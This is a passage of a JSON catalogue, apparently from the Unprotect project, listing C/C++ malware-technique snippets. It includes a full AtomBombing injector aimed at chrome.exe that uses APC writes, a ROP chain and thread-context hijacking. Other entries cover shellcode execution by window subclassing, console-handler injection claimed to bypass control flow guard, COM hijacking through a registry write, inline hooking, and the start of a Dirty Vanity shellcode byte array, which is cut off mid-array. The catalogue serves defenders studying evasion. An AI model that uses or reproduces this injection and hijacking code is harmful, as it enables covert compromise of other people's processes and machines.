dwContextFlags;\r\n\r\n\tSuspendThread(hThread);\r\n\tif (((DWORD)-1) == dwErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tbErr = GetThreadContext(hThread, &tContext);\r\n\tif (FALSE == bErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tResumeThread(hThread);\r\n\tif (((DWORD)-1) == dwErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*ptContext = tContext;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tPHANDLE phProcessThreadsHandles = NULL;\r\n\tDWORD cbProcessThreadsHandlesSize = 0;\r\n\tDWORD dwNumberOfProcessThreads = 0;\r\n\tBOOL bErr = FALSE;\r\n\tDWORD dwErr = 0;\r\n\tHANDLE hAlertableThread = 0;\r\n\tPVOID pfnNtWaitForSingleObject = NULL;\r\n\tPHANDLE phLocalEvents = NULL;\r\n\tPHANDLE phRemoteEvents = NULL;\r\n\r\n\teReturn = main_EnumProcessThreads(\r\n\t\thProcess, \r\n\t\t&phProcessThreadsHandles, \r\n\t\t&cbProcessThreadsHandlesSize, \r\n\t\t&dwNumberOfProcessThreads\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tfor (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)\r\n\t{\r\n\t\tHANDLE hThread = phProcessThreadsHandles[dwIndex];\r\n\t\t\r\n\t\teReturn = main_NtQueueApcThreadWaitForSingleObjectEx(\r\n\t\t\thThread, \r\n\t\t\tGetCurrentThread(), \r\n\t\t\t5000, \r\n\t\t\tTRUE);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t}\r\n\r\n\tphLocalEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE));\r\n\tif (NULL == phLocalEvents)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tphRemoteEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE));\r\n\tif (NULL == phRemoteEvents)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tfor (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)\r\n\t{\r\n\t\tHANDLE hThread = phProcessThreadsHandles[dwIndex];\r\n\t\t\r\n\t\tphLocalEvents[dwIndex] = CreateEvent(NULL, TRUE, FALSE, NULL);\r\n\t\tif (NULL == phLocalEvents[dwIndex])\r\n\t\t{\r\n\t\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED;\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\t\t\r\n\t\tbErr = DuplicateHandle(\r\n\t\t\tGetCurrentProcess(),\r\n\t\t\tphLocalEvents[dwIndex],\r\n\t\t\thProcess,\r\n\t\t\t&phRemoteEvents[dwIndex],\r\n\t\t\t0,\r\n\t\t\tFALSE,\r\n\t\t\tDUPLICATE_SAME_ACCESS\r\n\t\t\t);\r\n\t\tif (FALSE == bErr)\r\n\t\t{\r\n\t\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED;\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\t\t\r\n\t\teReturn = main_ApcSetEventAndKeepAlertable(hThread, phRemoteEvents[dwIndex]);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tDWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);\r\n\tif (WAIT_FAILED == dwWaitResult)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\tif (WAIT_TIMEOUT == dwWaitResult)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\t\r\n\thAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];\r\n\r\n\t//If the thread is in an alertable state, keep it that way \"forever\".\r\n\teReturn = main_NtQueueApcThreadWaitForSingleObjectEx(\r\n\t\thAlertableThread, \r\n\t\tGetCurrentThread(), \r\n\t\tINFINITE, \r\n\t\tTRUE\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\t*phAlertableThread = hAlertableThread;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\r\n\tmain_CloseRemoteHandleArray(\r\n\t\thProcess,\r\n\t\tphRemoteEvents,\r\n\t\tdwNumberOfProcessThreads\r\n\t\t);\r\n\r\n\tif (NULL != phRemoteEvents)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, phRemoteEvents);\r\n\t\tphRemoteEvents = NULL;\r\n\t}\r\n\r\n\tmain_CloseLocalHandleArray(\r\n\t\tphLocalEvents,\r\n\t\tdwNumberOfProcessThreads\r\n\t\t);\r\n\t\r\n\tif (NULL != phLocalEvents)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, phLocalEvents);\r\n\t\tphLocalEvents = NULL;\r\n\t}\r\n\r\n\tfor (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)\r\n\t{\r\n\t\tPHANDLE phThread = &phProcessThreadsHandles[dwIndex];\r\n\r\n\t\tif ((NULL != *phThread) && (hAlertableThread != *phThread))\r\n\t\t{\r\n\t\t\tCloseHandle(*phThread);\r\n\t\t\t*phThread = NULL;\r\n\t\t}\r\n\t}\r\n\r\n\tif (NULL != phProcessThreadsHandles)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, phProcessThreadsHandles);\r\n\t\tphProcessThreadsHandles = NULL;\r\n\t}\r\n\t\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_GetThreadTebAddress(HANDLE hThread, PVOID *ppvTebAddress)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tCONTEXT tContext = { 0 };\r\n\tBOOL bErr = FALSE;\r\n\tLDT_ENTRY tLdtEnry = { 0 };\r\n\tPVOID pvTebAddress;\r\n\r\n\teReturn = main_GetThreadContext(hThread, CONTEXT_SEGMENTS, &tContext);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tbErr = GetThreadSelectorEntry(hThread, tContext.SegFs, &tLdtEnry);\r\n\tif (FALSE == bErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tpvTebAddress = (PVOID)(\r\n\t\t(tLdtEnry.BaseLow) | \r\n\t\t(tLdtEnry.HighWord.Bytes.BaseMid << 0x10) | \r\n\t\t(tLdtEnry.HighWord.Bytes.BaseHi << 0x18)\r\n\t\t);\r\n\r\n\t*ppvTebAddress = pvTebAddress;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n\r\n}\r\n\r\n\r\n\r\nint main()\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tPVOID pvRemoteShellcodeAddress = NULL;\r\n\tPVOID pvRemoteGetProcAddressLoadLibraryAddress = NULL;\r\n\tPVOID pvRemoteContextAddress = NULL;\r\n\tPVOID pvRemoteROPChainAddress = NULL;\r\n\tCONTEXT tContext = { 0 };\r\n\tCHAR acShellcode[] = SHELLCODE;\r\n\tPVOID pvCodeCave = NULL;\r\n\tBOOL bErr = FALSE;\r\n\tROPCHAIN tRopChain = { 0 };\r\n\tHANDLE hProcess = NULL;\r\n\tHANDLE hAlertableThread = NULL;\r\n\tATOM tAtom = 0;\r\n\tprintf(\"[*] ATOM BOMBING\\n\\n\\n\");\r\n\r\n\teReturn = main_OpenProcessByName(L\"chrome.exe\", &hProcess);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tprintf(\"[*] Searching for an alertable thread.\\n\\n\\n\");\r\n\teReturn = main_FindAlertableThread(hProcess, &hAlertableThread);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\tprintf(\"[*] Found an alertable thread. Handle: 0x%X.\\n\\n\\n\", hAlertableThread);\r\n\r\n\tprintf(\"[*] Finding remote code cave.\\n\\n\\n\");\r\n\teReturn = main_GetCodeCaveAddress(&pvCodeCave);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\tprintf(\"[*] Remote code cave found: 0x%X.\\n\\n\\n\", pvCodeCave);\r\n\r\n\tpvRemoteROPChainAddress = pvCodeCave;\r\n\tpvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);\r\n\tpvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);\r\n\tpvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;\r\n\r\n\tprintf(\"[*] Building ROP chain.\\n\\n\\n\");\r\n\teReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tprintf(\"[*] Copying the addresses of LoadLibraryA and GetProcAddress to the remote process's memory address space.\\n\\n\\n\");\r\n\teReturn = main_ApcCopyFunctionPointers(hProcess, hAlertableThread, pvRemoteGetProcAddressLoadLibraryAddress);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\t*(PDWORD)(acShellcode + SHELLCODE_FUNCTION_POINTERS_OFFSET) = (DWORD)(pvRemoteGetProcAddressLoadLibraryAddress);\r\n\r\n\tprintf(\"[*] Copying the shellcode to the target process's address space.\\n\\n\\n\");\r\n\teReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteShellcodeAddress, acShellcode, sizeof(acShellcode));\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\r\n\tprintf(\"[*] Copying ROP chain to the target process's address space: 0x%X.\\n\\n\\n\", pvRemoteROPChainAddress);\r\n\teReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteROPChainAddress, &tRopChain, sizeof(tRopChain));\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tbErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\ttContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"ZwAllocateVirtualMemory\");\r\n\ttContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;\r\n\ttContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;\r\n\r\n\tprintf(\"[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\\n\\n\\n\");\r\n\teReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\nlblCleanup:\r\n\tif (NULL != hProcess)\r\n\t{\r\n\t\tCloseHandle(hProcess);\r\n\t\thProcess = NULL;\r\n\t}\r\n\tif (NULL != hAlertableThread)\r\n\t{\r\n\t\tCloseHandle(hAlertableThread);\r\n\t\thAlertableThread = NULL;\r\n\t}\r\n\treturn 0;\r\n}"
},
{
"id": 170,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/120/?format=api",
"description": "This code snippet first obtains the handle of the target window using the FindWindow function. It then retrieves the original window procedure for the target window using the GetWindowLongPtr function. Next, it sets the window subclassing callback function using the SetWindowLongPtr function. When a message is sent to the target window, the callback function will be executed, and it will execute the shellcode and call the original window procedure.",
"plain_code": "#include <windows.h>\r\n\r\n// Function prototype for the shellcode to be injected\r\ntypedef void (*ShellcodeFunc)(void);\r\n\r\n// The shellcode to be injected into the target process\r\nunsigned char shellcode[] = {\r\n // Insert shellcode here\r\n};\r\n\r\n// The original window procedure for the target window\r\nWNDPROC originalWndProc;\r\n\r\n// The window subclassing callback function\r\nLRESULT CALLBACK SubclassProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)\r\n{\r\n // Execute the shellcode\r\n ((ShellcodeFunc)shellcode)();\r\n\r\n // Call the original window procedure\r\n return CallWindowProc(originalWndProc, hwnd, uMsg, wParam, lParam);\r\n}\r\n\r\nint main()\r\n{\r\n // Get the handle of the target window\r\n HWND hwnd = FindWindow(NULL, \"Target Window Title\");\r\n if (hwnd == NULL)\r\n return 1;\r\n\r\n // Get the window procedure for the target window\r\n originalWndProc = (WNDPROC)GetWindowLongPtr(hwnd, GWLP_WNDPROC);\r\n if (originalWndProc == NULL)\r\n return 1;\r\n\r\n // Set the window subclassing callback function for the target window\r\n SetWindowLongPtr(hwnd, GWLP_WNDPROC, (LONG_PTR)SubclassProc);\r\n\r\n return 0;\r\n}"
},
{
"id": 169,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/121/?format=api",
"description": "This code first defines a callback function called `ControlSignalHandler` that will be used to inject malicious code. It then bypasses pointer encoding and control flow guard to ensure that the function can be called. Finally, it sets the callback function for control signal handlers using the `SetConsoleCtrlHandler` function and triggers a control signal by calling `GenerateConsoleCtrlEvent`.",
"plain_code": "#include <Windows.h>\r\n#include <cstdio>\r\n\r\n// callback function for control signal handlers\r\nBOOL WINAPI ControlSignalHandler(DWORD dwCtrlType)\r\n{\r\n // inject malicious code here\r\n\r\n return TRUE;\r\n}\r\n\r\nint main()\r\n{\r\n // bypass pointer encoding\r\n void* encodedPointer = EncodePointer((PVOID)ControlSignalHandler);\r\n void* decodedPointer = DecodePointer(encodedPointer);\r\n\r\n // bypass control flow guard\r\n SetProcessValidCallTargets(GetCurrentProcess(), (UINT_PTR)decodedPointer, sizeof(void*));\r\n\r\n // set callback function for control signal handlers\r\n SetConsoleCtrlHandler((PHANDLER_ROUTINE)decodedPointer, TRUE);\r\n\r\n // trigger control signal (Ctrl+C)\r\n GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);\r\n\r\n return 0;\r\n}"
},
{
"id": 168,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/122/?format=api",
"description": "This code opens the relevant key in the Windows Registry and modifies the value to point to the path of the malicious executable. When the COM object is used, it will execute the malicious code instead of the legitimate system component.",
"plain_code": "#include <Windows.h>\r\n#include <atlbase.h>\r\n\r\nint main()\r\n{\r\n // Modify the Windows Registry to replace the reference to a legitimate system component with the path to the malicious executable\r\n HKEY hKey;\r\n LONG lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Classes\\\\MyCOMObject\", 0, KEY_WRITE, &hKey);\r\n if (lResult == ERROR_SUCCESS)\r\n {\r\n RegSetValueEx(hKey, \"\", 0, REG_SZ, (BYTE*)\"C:\\\\MaliciousCode.exe\", sizeof(\"C:\\\\MaliciousCode.exe\"));\r\n RegCloseKey(hKey);\r\n }\r\n\r\n // Use the COM object as normal\r\n CComPtr<IMyCOMObject> pMyCOMObject;\r\n HRESULT hr = pMyCOMObject.CoCreateInstance(__uuidof(MyCOMObject));\r\n if (SUCCEEDED(hr))\r\n {\r\n // When the COM object is executed, the malicious code will be run instead of the legitimate system component\r\n pMyCOMObject->DoSomething();\r\n }\r\n\r\n return 0;\r\n}"
},
{
"id": 167,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/124/?format=api",
"description": "",
"plain_code": "#include <stdio.h>\r\n#include <windows.h>\r\n\r\n// Typedef for the target function\r\ntypedef int (*target_func_t)(int);\r\n\r\n// Trampoline function that will be used to execute the original code from the target function\r\nint trampoline(int arg) {\r\n printf(\"Trampoline function called with argument: %d\\n\", arg);\r\n return 0;\r\n}\r\n\r\n// Hook function that will be used to intercept calls to the target function\r\nint hook(int arg) {\r\n printf(\"Hook function called with argument: %d\\n\", arg);\r\n\r\n // Perform desired processing\r\n\r\n // Transfer control back to the trampoline function\r\n return trampoline(arg);\r\n}\r\n\r\nint main() {\r\n // Determine the address of the target function and the code that needs to be replaced\r\n target_func_t target_func = (target_func_t)GetProcAddress(GetModuleHandle(NULL), \"target_func\");\r\n unsigned char* target_code = (unsigned char*)target_func;\r\n\r\n // Calculate the relative address of the trampoline function and store it in a jump instruction\r\n unsigned char jump_instruction[] = {0xE9, 0x00, 0x00, 0x00, 0x00};\r\n int trampoline_offset = (int)trampoline - (int)target_func - 5;\r\n *(int*)(jump_instruction + 1) = trampoline_offset;\r\n\r\n // Overwrite the first few bytes of the target function with the jump instruction\r\n DWORD old_protect;\r\n VirtualProtect(target_code, 5, PAGE_EXECUTE_READWRITE, &old_protect);\r\n memcpy(target_code, jump_instruction, 5);\r\n VirtualProtect(target_code, 5, old_protect, &old_protect);\r\n}"
},
{
"id": 166,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 19,
"username": "External",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/223/?format=api",
"description": "Original source code available here: https://github.com/deepinstinct/Dirty-Vanity",
"plain_code": "#include \"DirtyVanity.h\"\r\n\r\n// creates a cmd /k msg * Hello from Dirty Vanity\r\n// and suspends the injection \r\nunsigned char shellcode[] =\r\n{\r\n 0x40, 0x55, 0x57, 0x48, 0x81, 0xEC, 0xB8, 0x03, 0x00, 0x00,\r\n 0x48, 0x8D, 0x6C, 0x24, 0x60, 0x65, 0x48, 0x8B, 0x04, 0x25,\r\n 0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B,\r\n 0x45, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x45, 0x08,\r\n 0x48, 0x8B, 0x45, 0x08, 0xC6, 0x40, 0x48, 0x00, 0x48, 0x8B,\r\n 0x45, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x83, 0xC0, 0x20,\r\n 0x48, 0x89, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,\r\n 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85,\r\n 0x38, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6B, 0x00, 0x65, 0x00,\r\n 0x72, 0x00, 0x6E, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8,\r\n 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x48, 0x89,\r\n 0x45, 0x40, 0x48, 0xB8, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00,\r\n 0x6C, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7, 0x45, 0x50,\r\n 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x50, 0x01, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01,\r\n 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01,\r\n 0x00, 0x00, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48,\r\n 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85, 0x58, 0x01, 0x00, 0x00,\r\n 0xC7, 0x85, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,\r\n 0x60, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D,\r\n 0x45, 0x38, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0xC7,\r\n 0x85, 0x60, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x48,\r\n 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x85,\r\n 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x60, 0x01, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B,\r\n 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85,\r\n 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00,\r\n 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E,\r\n 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7,\r\n 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00, 0xEB, 0x46,\r\n 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41,\r\n 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,\r\n 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00,\r\n 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00,\r\n 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88,\r\n 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x65,\r\n 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,\r\n 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00,\r\n 0x88, 0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40,\r\n 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00,\r\n 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00,\r\n 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01, 0x00, 0x00,\r\n 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,\r\n 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00,\r\n 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64,\r\n 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01,\r\n 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00,\r\n 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,\r\n 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,\r\n 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48,\r\n 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00,\r\n 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0,\r\n 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7,\r\n 0x85, 0x68, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D, 0x6C, 0x01,\r\n 0x00, 0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF, 0xFF,\r\n 0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x2E,\r\n 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,\r\n 0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00,\r\n 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48, 0x83,\r\n 0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48,\r\n 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88,\r\n 0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01,\r\n 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00,\r\n 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F,\r\n 0xB7, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00, 0xEB,\r\n 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8,\r\n 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,\r\n 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01,\r\n 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00,\r\n 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00, 0x00,\r\n 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85,\r\n 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00,\r\n 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6,\r\n 0x00, 0x88, 0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,\r\n 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00,\r\n 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00,\r\n 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01, 0x00,\r\n 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,\r\n 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01,\r\n 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85,\r\n 0x64, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65,\r\n 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01,\r\n 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F,\r\n 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x6C,\r\n 0x01, 0x00, 0x00, 0x0F, 0xB7, 